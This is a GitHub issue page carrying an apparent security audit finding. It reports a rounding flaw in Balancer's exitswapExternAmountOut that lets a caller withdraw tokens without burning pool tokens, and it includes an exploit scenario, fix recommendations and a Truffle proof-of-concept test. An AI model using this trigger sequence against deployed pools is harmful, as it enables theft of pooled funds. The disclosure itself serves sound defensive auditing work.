You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Due to rounding approximation, calcPoolInGivenSingleOut can return 0 while tokenAmountOut is greater than 0.
As a result, an attacker can withdraw assets without having pool tokens.
An Echidna and Manticore scripts are provided showing how to trigger the issue.
Exploit Scenario
Bob has a pool with two assets. The first asset has a balance of 9223372036854775808. There is 9223372036854775808 pool token. Eve is able to withdraw 4 wei of the asset for free. Eve calls multiple time exitswapExternAmountOut to make a considerable profit.
A truffle test is provided below.
Recommendation
Short term, revert in exitswapExternAmountOut if poolAmountIn is 0.
Long term, consider to:
Check for the 0 value when transferring values if appropriate.
Favor exact amount-in functions over exact amount-out.
Use Echidna and Manticore to test the rounding effects
Testcase
constBPool=artifacts.require('BPool');constBFactory=artifacts.require('BFactory');constTToken=artifacts.require('TToken');constTTokenFactory=artifacts.require('TTokenFactory');contract('BPool',async(accounts)=>{constadmin=accounts[0];constuser1=accounts[1];const{ toHex }=web3.utils;const{ toWei }=web3.utils;const{ fromWei }=web3.utils;constMAX=web3.utils.toTwosComplement(-1);lettokens;// token factory / registryletTUSD;letDAI;lettusd;letdai;letfactory;// BPool factoryletpool;// first pool w/ defaultsletPOOL;// pool addressconstinitial_balance=toWei('100','ether')constinitial_tusd_balance=toWei('9223372036854775808','wei');// 10**6constinitial_dai_balance=toWei('1','ether');consttokenAmountOut=toWei('4','wei');constinitial_pool_share_supply=toWei('9223372036854775808','wei');before(async()=>{tokens=awaitTTokenFactory.deployed();factory=awaitBFactory.deployed();POOL=awaitfactory.newBPool.call();awaitfactory.newBPool();pool=awaitBPool.at(POOL);awaittokens.build(toHex('TUSD'),toHex('TUSD'),6);awaittokens.build(toHex('DAI'),toHex('DAI'),6);TUSD=awaittokens.get.call(toHex('TUSD'));tusd=awaitTToken.at(TUSD);DAI=awaittokens.get.call(toHex('DAI'));dai=awaitTToken.at(DAI);// Admin balancesawaittusd.mint(admin,initial_balance);awaitdai.mint(admin,initial_balance);});describe('Test exitswapExternAmountOut',()=>{it('Admin approves tokens',async()=>{awaittusd.approve(POOL,MAX);awaitdai.approve(POOL,MAX);});it('Admin binds tokens',async()=>{awaitpool.bind(TUSD,initial_tusd_balance,toWei('1'));awaitpool.bind(DAI,initial_dai_balance,toWei('1'));});it('Admin set the pool public',async()=>{awaitpool.finalize(initial_pool_share_supply);});it('User1 exit without asset',async()=>{awaitpool.exitswapExternAmountOut(TUSD,tokenAmountOut,0,{from: user1});// User should have no TUSD tokenconstuserTUSDalanceAfter=awaittusd.balanceOf(user1);assert.equal(0,fromWei(userTUSDalanceAfter));});});});
The text was updated successfully, but these errors were encountered:
Severity: Undetermined
Difficulty: Low
Description
A rounding issue in exitswapExternAmountOut allows users to withdraw assets without burning pool tokens.
exitswapExternAmountOut computes the amount of pool token to be burnt with calcPoolInGivenSingleOut:
https://github.com/balancer-labs/balancer-core/blob/942a51e202cc5bf9158bad77162bc72aa0a8afaf/contracts/BPool.sol#L652-L671
Due to rounding approximation, calcPoolInGivenSingleOut can return 0 while tokenAmountOut is greater than 0.
As a result, an attacker can withdraw assets without having pool tokens.
An Echidna and Manticore scripts are provided showing how to trigger the issue.
Exploit Scenario
Bob has a pool with two assets. The first asset has a balance of 9223372036854775808. There is 9223372036854775808 pool token. Eve is able to withdraw 4 wei of the asset for free. Eve calls multiple time exitswapExternAmountOut to make a considerable profit.
A truffle test is provided below.
Recommendation
Short term, revert in exitswapExternAmountOut if poolAmountIn is 0.
Long term, consider to:
Testcase
The text was updated successfully, but these errors were encountered: